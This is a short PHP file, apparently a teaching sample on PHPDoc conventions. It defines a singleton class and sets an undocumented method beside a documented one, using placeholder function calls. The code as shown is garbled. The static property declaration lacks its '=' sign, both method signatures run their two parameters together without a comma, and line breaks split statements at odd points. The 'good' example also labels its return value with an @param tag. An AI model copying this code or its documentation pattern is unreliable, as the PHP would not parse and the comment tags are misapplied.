 * @author      Nguyen Duc Thuan
 * @link        http://www.ducthuan.info
 * @copyright   Copyright (c) 2008, Nguyen Duc Thuan
 * @license     http://www.opensource.org/licenses/bsd-license.php
 * @Project     (This is a bad tag because it is not supported by PHPDocumentor)
 */
class Ducthuans{

    
/**
     * Holds Ducthuans' instance
     *
     * @var Ducthuans
     */
    
private static $_instance null;

    
/**
     * Initializes and returns Ducthuans' instance
     *
     * @return Ducthuans
     */
    
public static function &getInstance()
    {
        if (
null === self::$_instance) {
            
self::$_instance = new self();
        }

        return 
self::$_instance;
    }

    
/**
     * Disables creating instance directly from public
     *
     */
    
private function __construct()
    {}

    
/**
     * Disables cloning object
     *
     */
    
private function __clone()
    {}

    
// I cannot understand what the hell this method does without reading the code line by line... :-w
    
public function badDefinition ($paramOne$paramTwo)
    {
        foreach (
$paramTwo as $item) {
            
doSomething($paramOne$item);
        }

        return 
doAnotherThing();
    }

    
/**
     * These are some lines
     * to describe what the method does
     *
     * @param string    $paramOne This is a string to be passed in function 'doSomething'
     * @param array     $paramTwo This is an array to do something
     * @param integer   Good, I know this method will return an INTEGER value
     */
    
public function goodDefinition ($paramOne$paramTwo)
    {
        foreach (
$paramTwo as $item) {
            
doSomething($paramOne$item);
        }

        return 
doAnotherThing();
    }